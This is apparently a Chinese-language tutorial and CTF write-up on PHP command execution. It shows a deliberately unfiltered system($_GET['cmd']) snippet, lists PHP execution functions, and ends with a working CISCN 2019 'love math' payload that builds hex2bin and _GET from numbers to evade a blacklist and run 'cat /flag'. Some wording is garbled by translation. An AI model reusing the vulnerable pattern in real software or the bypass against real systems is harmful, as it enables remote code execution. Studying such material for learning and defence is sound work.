一、前记

学习到这个知识点的时候在上实训课,忙里偷闲的写了这篇文章(实训实在是无力吐槽)。其实这个命令执行的突破以前学过,但是没有系统的总结过,这次就想着总结一下

二,什么是命令执行造成的突破

命令执行分辨率概念:当应用需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数。如PHP中的系统,exec,shell_exec等,当用户可以控制命令执行函数中一般使用ls,cat,whoami来进行命令执行的代码。

三,从代码分析是如何造成任意命令执行突破的

主要是由代码里面的部分重置函数没有被过滤,给了重置函数的可趁之机,例如:

现在我的PHP代码里面是如下的代码:

<?php
$arg =$_GET['cmd'];
if ($arg) {
system("$arg");
}
?>

在上面的代码里面没有任何过滤机制,因此我们在调用cmd参数后面的内容时就可以任意调用查看。

(上图是查看了IP内容,可以看到,在CMD参数的后面添加上我们所选择的内容,在这里我们选择了IPCONFIG)

或者也可以是执行一个动态的命令,例如像ping这样的动态命令,或者也可以是执行一个动态的命令,例如像ping这样的动态命令

四,PHP中常见的命令执行函数

常见的命令执行函数有特定之处:

方法一:eval()

eval()函数把字符串按照PHP代码来计算

格式:eval(“ 命令 ”);

例:

<?php
eval("echo ('aaaaa');");
//结果为aaaaa
?>

方法二:system()

格式:system(“ 命令 ”);

<?php
system("echo 'aaaaaa';");
//结果为aaaaaa
?>

方法三:pas​​ sthru()

格式:passthru(“命令”);

<?php
passthru("echo 'aaaaaaa';");
//结果为aaaaaaa
?>

方法四:exec()

格式:exec(字符串$命令[,副本和$输出[,int&$ return_var]]);

$ command:表示要执行的命令。

$ output:如果提供了输出参数,那么会用命令执行的输出替换此数组,每行输出分解中的一个元素。分散中的数据不包含行尾的空白字符,例如\ n字符。请注意,如果您不想在摘要末尾进行追加,请在执行exec()函数之前对合并使用unset()函数进行重置。

$return_var:如果同时提供output 和 return_var 参数, 命令执行后的返回状态会被写入到此变量。

一般来说,command是必选项。

exec()函数稍微有点特殊,他的用法和前面几个的用法都有点不太一样,但是也更加的多元化。

<?php
echo exec("whoami");
//结果为aaaaaa
?>
<?php
$a="whoami";
exec($a,$b);
print_r($b);
//结果为Array
//(
//    [0] => aaaaa
//)
?>

方法五:shell_exec()

格式:shell_exec(“”);

?php
echo shell_exec("echo 'aaaaa';");
//结果为aaaaa
?>

方法六:`(反单引号)

在php中称之为执行运算符,PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回(即,可以赋给一个变量而不是简单地丢弃到标准输出,使用反引号运算符“`”的效果与函数 shell_exec() 相同。

<?php
echo `whoami`;
//结果为aaaaa
?>

2019年CISCN初赛-love math

第一步:先查看题目所给的源码,然后代码审计

经过代码审计发现里面限定了不少的东西,像代码里面设置了黑名单,还有正则匹配的东西。我们先来看看正则匹配的东西:

1、preg_match_all函数:int preg_match_all ( string $pattern , string $subject [, array &$matches [, int $flags = PREG_PATTERN_ORDER [, int $offset = 0 ]]] )

·         $pattern: 要搜索的模式,字符串形式。

·         $subject: 输入字符串。

·         $matches: 多维数组,作为输出参数输出所有匹配结果, 数组排序通过flags指定。

·         $flags:可以结合下面标记使用(注意不能同时使用PREG_PATTERN_ORDER和 PREG_SET_ORDER):

1.     PREG_PATTERN_ORDER: 结果排序为$matches[0]保存完整模式的所有匹配, $matches[1] 保存第一个子组的所有匹配,以此类推。

2.     PREG_SET_ORDER: 结果排序为$matches[0]包含第一次匹配得到的所有匹配(包含子组), $matches[1]是包含第二次匹配到的所有匹配(包含子组)的数组,以此类推。

3.     PREG_OFFSET_CAPTURE: 如果这个标记被传递,每个发现的匹配返回时会增加它相对目标字符串的偏移量。

·         offset: 通常, 查找时从目标字符串的开始位置开始。可选参数offset用于 从目标字符串中指定位置开始搜索(单位是字节)。

那我需要使用一个网站来看看我们输入的内容是否符合正则匹配。

审计完代码之后我们来总结一下:该代码首先检查了GET函数里面有没有参数c,如果没有的话就保持当前页面;再检查c后面的长度有多长,如果长度大于80的话就不能执行;然后设置了白名单,黑名单,正则匹配等规则,如果检测出来了非法字符,会被提醒“不要输入奇奇怪怪的字符”;如果以上都检测完毕合格,就使用eval函数执行计算

第二步:利用$和白名单里面的限定内容以及正则匹配的东西来构建payload。

4c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=cat /flag


分析:

base_convert(37907361743,10,36) => "hex2bin"

dechex(1598506324) => "5f474554"

$pi=hex2bin("5f474554") => $pi="_GET"   //hex2bin将一串16进制数转换为二进制字符串

($$pi){pi}(($$pi){abs}) => ($_GET){pi}($_GET){abs}  //{}可以代替[]

出现flag